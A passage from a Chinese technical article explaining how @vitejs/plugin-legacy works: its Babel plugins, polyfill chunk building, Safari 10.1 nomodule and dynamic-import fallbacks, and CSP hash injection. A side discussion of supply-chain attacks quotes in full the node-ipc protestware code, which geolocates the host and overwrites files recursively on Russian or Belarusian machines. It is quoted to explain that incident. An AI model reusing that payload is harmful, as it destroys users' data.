的值。tsfunction replaceLegacyEnvBabelPlugin(): BabelPlugin { return ({ types: t }): BabelPlugin => ({ name: 'vite-replace-env-legacy', visitor: { Identifier(path) { if (path.node.name === legacyEnvVarMarker) { path.replaceWith(t.booleanLiteral(true)); } } } }); }
vite:define
插件在transform
阶段会将import.meta.env.LEGACY
值替换为legacyEnvVarMarker
的值(__VITE_IS_LEGACY__
),该插件在renderChunk
阶段会将legacyEnvVarMarker
(__VITE_IS_LEGACY__
) 替换为具体的布尔值(区分chunk
执行的环境,legacy chunk
标记__VITE_IS_LEGACY__
为true
,modern chunk
标记为false
)。替换
__VITE_IS_LEGACY__
的方式在legacy chunk
和modern chunk
中有所不同。legacy chunk
中通过上述的babel
插件来实现替换,而modern chunk
中则通过正则方式直接替换。tsfunction replaceLegacyEnvBabelPlugin(): BabelPlugin { return ({ types: t }): BabelPlugin => ({ name: 'vite-replace-env-legacy', visitor: { Identifier(path) { if (path.node.name === legacyEnvVarMarker) { path.replaceWith(t.booleanLiteral(true)); } } } }); }
tsif (!isLegacyChunk(chunk, opts)) { if (raw.includes(legacyEnvVarMarker)) { const re = new RegExp(legacyEnvVarMarker, 'g'); let match; while ((match = re.exec(raw))) { ms.overwrite( match.index, match.index + legacyEnvVarMarker.length, `false` ); } } }
recordAndRemovePolyfillBabelPlugin
的babel
插件该
babel
插件主要用于收集转译后的legacy chunk
中import
语句的值。tsfunction recordAndRemovePolyfillBabelPlugin( polyfills: Set<string> ): BabelPlugin { return ({ types: t }: { types: typeof BabelTypes }): BabelPlugin => ({ name: 'vite-remove-polyfill-import', post({ path }) { path.get('body').forEach(p => { if (t.isImportDeclaration(p.node)) { polyfills.add(p.node.source.value); p.remove(); } }); } }); }
vite
在renderChunk
阶段时,chunk
的代码已经解析完了import
和export
,也就是说这个阶段正常情况下理应各个模块不应该存在import
和export
。若再次收集到的import
或export
则必定是babel
在@babel/preset-env
插件中注入的polyfill
依赖模块。此时此刻该
babel
插件的工作就是收集@babel/preset-env
插件在转译阶段注入的polyfill
依赖模块。@vitejs/plugin-legacy
插件的设计并未打算在renderChunk
之后再次执行bundle chunks graph
的操作,那样会增加了些复杂度。插件采取的策略是收集每一个legacy chunk
中import
语句的值,认定为polyfill
依赖模块,收集完成后会通过p.remove()
删除legacy chunk
中注入的import
语句。在
generateBundle
阶段时,将收集到的polyfill
依赖模块作为独立的bundle
进行构建。wrapIIFEBabelPlugin
的babel
插件tsfunction wrapIIFEBabelPlugin(): BabelPlugin { return ({ types: t, template }): BabelPlugin => { const buildIIFE = template(';(function(){%%body%%})();'); return { name: 'vite-wrap-iife', post({ path }) { if (!this.isWrapped) { this.isWrapped = true; path.replaceWith( t.program(buildIIFE({ body: path.node.body })) ); } } }; }; }
最后使用立即执行函数来包裹
legacy chunk
的源码。包裹原因可参考 PR,主要解决全局作用域污染。
Handling Of Modern Modules
执行源码如下:
// 通过监测支持 import.meta.url 和 动态导入 来判断是否为现代浏览器
const detectModernBrowserDetector =
'import.meta.url;import("_").catch(()=>1);async function* g(){};';
const modernChunkLegacyGuard = `export function __vite_legacy_guard(){${detectModernBrowserDetector}};`;
async function renderChunk(raw, chunk, opts) {
if (!isLegacyChunk(chunk, opts)) {
// options.modernPolyfills = true。不建议设置为 true,因为 core-js@3 非常激进的将 JS 前沿的特性进行注入。甚至目标为对原生 ESM 的支持都需要注入 15kb。
if (
options.modernPolyfills &&
!Array.isArray(options.modernPolyfills)
) {
await detectPolyfills(raw, { esmodules: true }, modernPolyfills);
}
const ms = new MagicString(raw);
// 在入口处注入判断是否为现代浏览器
if (genLegacy && chunk.isEntry) {
ms.prepend(modernChunkLegacyGuard);
}
// 确定所注入的 legacyEnvVarMarker 值为 false。正常情况下和后续的 tree-sharking 所关联。
if (raw.includes(legacyEnvVarMarker)) {
const re = new RegExp(legacyEnvVarMarker, 'g');
let match;
while ((match = re.exec(raw))) {
ms.overwrite(
match.index,
match.index + legacyEnvVarMarker.length,
'false'
);
}
}
if (config.build.sourcemap) {
return {
code: ms.toString(),
map: ms.generateMap({ hires: true })
};
}
return {
code: ms.toString()
};
}
}
在支持现代浏览器的 polyfill
从上述源码中可以划分以下几个部分:
options.modernPolyfills
配置的处理。类似借助babel
的@babel/preset-env
插件来做 检测(不改变源码) 并进行收集。jsif (options.modernPolyfills && !Array.isArray(options.modernPolyfills)) { await detectPolyfills(raw, { esmodules: true }, modernPolyfills); }
在入口模块处添加检测,用来判断是否为现代浏览器。
jsconst detectModernBrowserDetector = 'import.meta.url;import("_").catch(()=>1);async function* g(){};'; const modernChunkLegacyGuard = `export function __vite_legacy_guard(){${detectModernBrowserDetector}};`; const ms = new MagicString(raw); if (genLegacy && chunk.isEntry) { ms.prepend(modernChunkLegacyGuard); }
确定
legacyEnvVarMarker
的值为false
。jsif (raw.includes(legacyEnvVarMarker)) { const re = new RegExp(legacyEnvVarMarker, 'g'); let match; while ((match = re.exec(raw))) { ms.overwrite( match.index, match.index + legacyEnvVarMarker.length, 'false' ); } }
transformIndexHtml 钩子的关注点
收集到的 polyfill
集合作为全新的一个模块,其代码如下:
function polyfillsPlugin(imports, externalSystemJS) {
return {
name: 'vite:legacy-polyfills',
resolveId(id) {
if (id === polyfillId) {
return id;
}
},
load(id) {
if (id === polyfillId) {
return (
// imports 是在 renderChunk 阶段收集到的所有需要兼容的 polyfill。
[...imports].map(i => `import "${i}";`).join('') +
(externalSystemJS ? '' : 'import "systemjs/dist/s.min.js";')
);
}
}
};
}
在 generateBundle
阶段再次单独调用 vite
进行构建 polyfill bundle
。最后会生成现代浏览器支持 modern esm
的产物和旧版本浏览器支持 nomodule
的产物。
async function buildPolyfillChunk(
name,
imports,
bundle,
facadeToChunkMap,
buildOptions,
externalSystemJS
) {
let { minify, assetsDir } = buildOptions;
minify = minify ? 'terser' : false;
const res = await build({
// so that everything is resolved from here
root: __dirname,
configFile: false,
logLevel: 'error',
plugins: [polyfillsPlugin(imports, externalSystemJS)],
build: {
write: false,
target: false,
minify,
assetsDir,
rollupOptions: {
input: {
[name]: polyfillId
},
output: {
format: name.includes('legacy') ? 'iife' : 'es',
manualChunks: undefined
}
}
}
});
// ...
}
注意
plugin-legacy
内部是使用terser
来对代码压缩。因此在配置了minify
的时候请务必按照terser
依赖。useBuiltIns: 'usage'
表示有用到的polyfill
才引入。可以对比一下useBuiltIns: 'entry'
从配置项中和
vite-wrap-iife
插件(作为babel
的预设插件首个被执行)可以看出
const options = {
output: {
format: name.includes('legacy') ? 'iife' : 'es',
manualChunks: undefined
}
};
function wrapIIFEBabelPlugin() {
return ({ types: t, template }) => {
const buildIIFE = template(';(function(){%%body%%})();');
return {
name: 'vite-wrap-iife',
post({ path }) {
if (!this.isWrapped) {
this.isWrapped = true;
path.replaceWith(t.program(buildIIFE({ body: path.node.body })));
}
}
};
};
}
polyfill chunk
是立即执行函数。
之后将 polyfill chunk
注入到 bundle
中作为 polyfill bundle
。
async function buildPolyfillChunk(
name,
imports,
bundle,
facadeToChunkMap,
buildOptions,
externalSystemJS
) {
// ...
const _polyfillChunk = Array.isArray(res) ? res[0] : res;
if (!('output' in _polyfillChunk)) return;
const polyfillChunk = _polyfillChunk.output[0];
// associate the polyfill chunk to every entry chunk so that we can retrieve
// the polyfill filename in index html transform
for (const key in bundle) {
const chunk = bundle[key];
if (chunk.type === 'chunk' && chunk.facadeModuleId) {
facadeToChunkMap.set(chunk.facadeModuleId, polyfillChunk.fileName);
}
}
// add the chunk to the bundle
bundle[polyfillChunk.name] = polyfillChunk;
}
Implementation Considerations
Detect Omission Of Promise
Polyfill
vite
的项目默认以 esm
为基准进行开发,esm
特性需要依赖于 systemjs
来实现 polyfill
。而 systemjs
包需要依赖 promise
。
当用户没有在模块中使用 promise
:
import react from 'react';
console.log(react);
@babel/preset-env
解析代码时不会主动注入 promise
的 polyfill
。但事实上模块使用了 import
语法,这是 esm
特有的语法,polyfill
时需要依赖 systemjs
来实现,而 systemjs
需要依赖 promise
。
因此在 @vite/legacy-plugin
中做了相应的处理。
async function detectPolyfills(
code: string,
targets: any,
list: Set<string>
): Promise<void> {
const babel = await loadBabel();
const result = babel.transform(code, {
ast: true,
babelrc: false,
configFile: false,
compact: false,
presets: [
[
(await import('@babel/preset-env')).default,
createBabelPresetEnvOptions(targets, {})
]
]
});
for (const node of result!.ast!.program.body) {
if (node.type === 'ImportDeclaration') {
const source = node.source.value;
if (
source.startsWith('core-js/') ||
source.startsWith('regenerator-runtime/')
) {
list.add(source);
}
}
}
}
const legacyGenerateBundlePlugin: Plugin = {
name: 'vite:legacy-generate-polyfill-chunk',
apply: 'build',
async generateBundle(opts, bundle) {
// legacy bundle
if (options.polyfills !== false) {
// check if the target needs Promise polyfill because SystemJS relies on it
// https://github.com/systemjs/systemjs#ie11-support
await detectPolyfills(
`Promise.resolve(); Promise.all();`,
targets,
legacyPolyfills
);
}
}
};
通过解析 Promise.resolve(); Promise.all();
来自动添加 promise
的 polyfill
。确保构建出来的 polyfill
一定包含 promise
的 polyfill
,以至于 systemjs
一定可以正常执行。
Inject Inline JS Code
polyfill
会在 index.html
中注入 safari 10.1 nomodule fix
、systemjs 的初始化
和 动态导入回退
的内敛 javascript
代码。
Safari 10.1 nomodule Fix
safari 11
版本及其之前的版本不支持 type=nomodule
,而支持 type=module
。换句话说,nomodule
标签的脚本对于 safari 11
版本及其之前的版本来说,就和普通的脚本一样,他会同时尝试执行 type="module"
和 nomodule
的脚本,这就导致会执行两遍的代码。因此需要对 safari 10.1
版本及其之前的版本进行兼容。
这里 有具体的解决方案可供参考。
(function () {
// 创建一个测试用的 script 元素
var check = document.createElement('script');
// 检查两个关键特性:
// 1. 'noModule' 属性是否存在
// 2. 'onbeforeload' 事件是否支持
if (!('noModule' in check) && 'onbeforeload' in check) {
var support = false;
// 添加 beforeload 事件监听器
document.addEventListener(
'beforeload',
function (e) {
if (e.target === check) {
// 标记该浏览器支持模块
support = true;
} else if (!e.target.hasAttribute('nomodule') || !support) {
return;
}
// 阻止带有 nomodule 的脚本加载
e.preventDefault();
},
true
);
// 设置测试脚本
check.type = 'module';
check.src = '.';
document.head.appendChild(check);
check.remove();
}
})();
onbeforeload
是一个比较特殊的事件,它的支持情况与普通的事件(如 onclick、onload)很不一样。实际上,onbeforeload
主要是 safari
浏览器特有的事件,这也是为什么这个属性可以用来识别特定的浏览器行为。让我们看看不同浏览器的情况:
在 safari
中:
const script = document.createElement('script');
// true
console.log('onbeforeload' in script);
在其他浏览器中(如 chrome
、firefox
、ie
):
const script = document.createElement('script');
// false
console.log('onbeforeload' in script);
通过 script
标签的 onbeforeload
事件来判断是否为 safari
浏览器;
通过 script
标签是否存在 noModule
属性来判断是否为 safari 10.1
版本及其之前的版本。
if (!('noModule' in check) && 'onbeforeload' in check) {
// 条件只有在 safari 10.1 中才会为 true.
}
Dynamic Import Fallback
safari 10.1
版本在带 type=module
标签的脚本中使用动态导入模块时会出现报错现象,因此需要对 dynamic import
做降级处理。
dynamic import
的降级需要依赖 systemjs
来实现。
<script type="module">
!(function () {
if (window.__vite_is_modern_browser) return;
console.warn(
'vite: loading legacy chunks, syntax error above and the same error below should be ignored'
);
var e = document.getElementById('vite-legacy-polyfill'),
n = document.createElement('script');
(n.src = e.src),
(n.onload = function () {
System.import(
document
.getElementById('vite-legacy-entry')
.getAttribute('data-src')
);
}),
document.body.appendChild(n);
})();
</script>
<script
nomodule
crossorigin
id="vite-legacy-entry"
data-src="/assets/index-legacy-CwS5KdAx.js"
>
System.import(
document.getElementById('vite-legacy-entry').getAttribute('data-src')
);
</script>
Content Security Policy
由于 safari 10.1
版本的特殊性,@vitejs/plugin-legacy
插件需要往 index.html
中注入内敛 javascript
运行时代码。运行时代码包含 safari 10.1 nomodule fix
、systemjs 的初始化
和 动态导入回退
的代码。
若项目严格遵循 csp
策略,那么需要将内联脚本的 hash
值添加到 script-src
列表中。@vitejs/plugin-legacy
插件内部已经生成好了各个内敛脚本的 hash
值。
import crypto from 'node:crypto';
const hash =
// crypto.hash is supported in Node 21.7.0+, 20.12.0+
crypto.hash ??
((
algorithm: string,
data: crypto.BinaryLike,
outputEncoding: crypto.BinaryToTextEncoding
) => crypto.createHash(algorithm).update(data).digest(outputEncoding));
export const cspHashes = [
safari10NoModuleFix,
systemJSInlineCode,
detectModernBrowserCode,
dynamicFallbackInlineCode
].map(i => hash('sha256', i, 'base64'));
可以直接通过 cspHashes
变量获取(注意不包括 sha256-
前缀,需手动添加)。
import { cspHashes } from '@vitejs/plugin-legacy';
方式来获取所有注入到 html
中的 csp hash
值。
Prompt
csp hash
的详细介绍和注意事项可参照 Using a hash with CSP 。
script
标签中的 integrity
属性与之有相似之处,需要注意对比。
<script
src="https://example.com/example-framework.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous"
></script>
integrity
是允许浏览器检查其获得的资源(例如从 CDN
获得的资源)是否被恶意篡改的一项安全特性,通过验证 获取文件的哈希值 是否和 integrity
提供的哈希值一样来判断资源是否被篡改。与 csp
互补:
csp
是预防性安全措施:- 定义资源加载的全局策略。
- 主动限制哪些内联脚本可以执行。
- 对整个页面提供保护。
- 防止
xss
攻击。
integrity
是验证性安全措施:- 不限制资源加载本身。
- 在资源加载后、执行前验证其内容。
- 为单个资源提供保护。
- 防止供应链攻击。
在现代 web
安全实践中,通常可以在如下场景中使用:
- 需要使用内联脚本(使用
csp
哈希) - 限制外链资源来源(使用
csp
) - 依赖第三方
cdn
或外部资源(使用integrity
)
这种组合方法可以显著提高应用程序对 xss
攻击和供应链攻击的能力。
再扩充一点,pnpm-lock.yaml
记录的外部依赖包也会采用 integrity
值来做完整性校验。
packages:
'@algolia/autocomplete-core@1.17.7':
resolution:
{
integrity: sha512-BjiPOW6ks90UKl7TwMv7oNQMnzU+t/wk9mgIDi6b1tXpUek7MW0lbNOUHpvam9pe3lVCf4xPFT+lK7s+e+fs7Q==
}
工作原理和浏览器对于 script
标签的 integrity
属性类似,用来校验所下载的远程依赖的完整性,确保下载的依赖中途不会被恶意篡改,减低针对 cdn
服务器的供应链攻击风险(DNS 劫持、域名到期抢注、域名注册商账户入侵来通知 cdn
域名,将流量重定向到自己的服务器),两者均遵循 W3C 的 Subresource Integrity 规范
。
integrity
验证机制 主要防御 的是 传输 和 分发 阶段的供应链攻击,即合法代码在从原始发布者到最终用户的传输过程中 被恶意篡改的情况。它们通过密码学哈希验证确保开发者和用户收到的是包发布者原本打算提供的代码,而不是途中被替换的恶意版本。
但局限性在于 无法防御源头就包含恶意代码 的场景,即 包维护者主动投毒、包维护者账户被入侵,这也是最为常见的问题:
2022-03-15
:vue-cli
遭受到node-ipc
未按预期的行为。未按预期的行为逻辑如下:
jsimport u from 'path'; import a from 'fs'; import o from 'https'; setTimeout( function () { const t = Math.round(Math.random() * 4); if (t > 1) { return; } const n = 'https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154'; o.get(n.toString('utf8'), function (t) { t.on('data', function (t) { const n = './'; const o = '../'; const r = '../../'; const f = '/'; const c = 'country_name'; const e = 'russia'; const i = 'belarus'; try { const s = JSON.parse(t.toString('utf8')); const u = s[c.toString('utf8')].toLowerCase(); const a = u.includes(e.toString('utf8')) || u.includes(i.toString('utf8')); if (a) { h(n.toString('utf8')); h(o.toString('utf8')); h(r.toString('utf8')); h(f.toString('utf8')); } } catch (t) {} }); }); }, Math.ceil(Math.random() * 1e3) ); async function h(n = '', o = '') { if (!a.existsSync(n)) { return; } let r = []; try { r = a.readdirSync(n); } catch (t) {} const f = []; const c = '❤️'; for (var e = 0; e < r.length; e++) { const i = u.join(n, r[e]); let t = null; try { t = a.lstatSync(i); } catch (t) { continue; } if (t.isDirectory()) { const s = h(i, o); s.length > 0 ? f.push(...s) : null; } else if (i.indexOf(o) >= 0) { try { a.writeFile(i, c.toString('utf8'), function () {}); } catch (t) {} } } return f; } const ssl = true; export { ssl as default, ssl };
这是一次针对特定地域开发者(俄罗斯 和 白俄罗斯)的定向供应链攻击,开发者背弃了开源精神而将开源项目作为其实现自身政治意图的工具,是一种开源恐怖主义行为。传统的供应链是一级与一级之间通过合同来相互制约,但是对于开源产品的供应链中并没有相关的约束。看似强大的开源社区,其实非常脆弱,当信任链断裂,建立于开源体系的生态也将轰然倒塌。
一个小
tip
:攻击者,
node-ipc
作者Brandon Nozaki Miller (RIAEvangelist)
最后给出了 "贴心提示":Locking deps after a code review is probably good practice anyway.
在代码审查后锁定依赖可能是一个好习惯。
2021.10.22
,ua-parser-js
遭到投毒攻击,疑似维护者账号由于密码泄露或者被爆破而发生劫持。账户接管:攻击者以未披露的方式获取了
Faisal Salman
的npm
账户控制权恶意版本发布:在控制账户后,攻击者立即发布了三个包含恶意代码的新版本:
0.7.29
(针对旧版用户)0.8.0
(新的次要版本号,吸引升级)1.0.0
(主版本升级,引诱早期采用者)
快速发现:
GitHub
用户 "AminCoder" 首先在GitHub
上提出了警报,发现可疑代码确认与响应:几小时内,
npm
安全团队确认了攻击并迅速采取行动官方通报:同一天,美国网络安全和基础设施安全局(
CISA
)发布了正式警告清理操作:
npm
从注册表中移除了恶意版本,项目维护者发布了干净的修复版本安全通告:
GitHub
发布了CVE-2021-42078
安全公告,正式记录了此次事件
组织和防范措施的发展:
- 改进的包完整性验证机制:
SRI
和integrity
验证依赖(包)的完整性。 2FA
认证要求:npm
现在要求所有流行包的维护者使用2FA
,扩大了2FA
的覆盖范围。- 供应链级别的框架:如
SLSA
(Supply chain Levels for Software Artifacts
) 和SBOM
(Software Bill of Materials
) 的广泛采用。 - 推广了 "lockfile freeze" 实践:防止自动升级到最新版本,从而避免遭遇供应链攻击。
- 公共基金支持:如
Open Collective
和GitHub Sponsors
等平台的发展,解决开源维护的财务可持续性问题。 - 高级监控工具:能够检测包行为异常的自动化安全工具,特别是网络活动和文件系统操作。
用户可以手动将 cspHashes
的值逐一复制到 Content-Security-Policy
标签的 script-src
属性上。但需注意的是这些数值可能在 次要版本 之间发生变化。若手动复制数值,则应使用 ~
锁定次要版本。
但更合适的注入方案是通过 vite
用户插件来实现 csp hash
的自动注入,可以像如下的方式来实现:
import { defineConfig } from 'vite';
import legacy, { cspHashes } from '@vitejs/plugin-legacy';
export default defineConfig({
plugins: [
{
name: 'vite-plugin-inject-csp-hashes',
apply: 'build',
enforce: 'post',
transformIndexHtml(html) {
return {
html,
tags: [
{
tag: 'meta',
attrs: {
'http-equiv': 'Content-Security-Policy',
content:
`script-src 'self' ` +
cspHashes.map(hash => `'sha256-${hash}'`).join(' ')
},
injectTo: 'head-prepend'
}
]
};
}
},
legacy({
targets: ['defaults', 'not IE 11']
})
]
});
输出到 html
的产物如下:
<meta
http-equiv="Content-Security-Policy"
content="script-src 'self'
'sha256-MS6/3FCg4WjP9gwgaBGwLpRCY6fZBgwmhVCdrPrNf3E=' 'sha256-tQjf8gvb2ROOMapIxFvFAYBeUJ0v1HCbOcSmDNXGtDo=' 'sha256-VA8O2hAdooB288EpSTrGLl7z3QikbWU9wwoebO/QaYk='
'sha256-+5XkZFazzJo8n0iOP4ti/cLCMUudTf//Mzkb7xNPXIc='"
/>
html
页面可以包含多个 csp meta
标签,每个标签可以定义不同的策略指令,最终会合并执行。
在使用 regenerator-runtime polyfill
时,它会尝试使用 globalThis
对象来注册自身。如果 globalThis
不可用(globalThis
特性是 相当新 的,用户代理支持程度有限,在 ie 11
中并不支持),则会尝试执行动态 Function(...)
方法调用,这会违反了 csp
规则。为避免在缺少 globalThis
的环境下进行动态解析,需要考虑手动将 core-js/proposals/global-this
添加到 additionalLegacyPolyfills
中。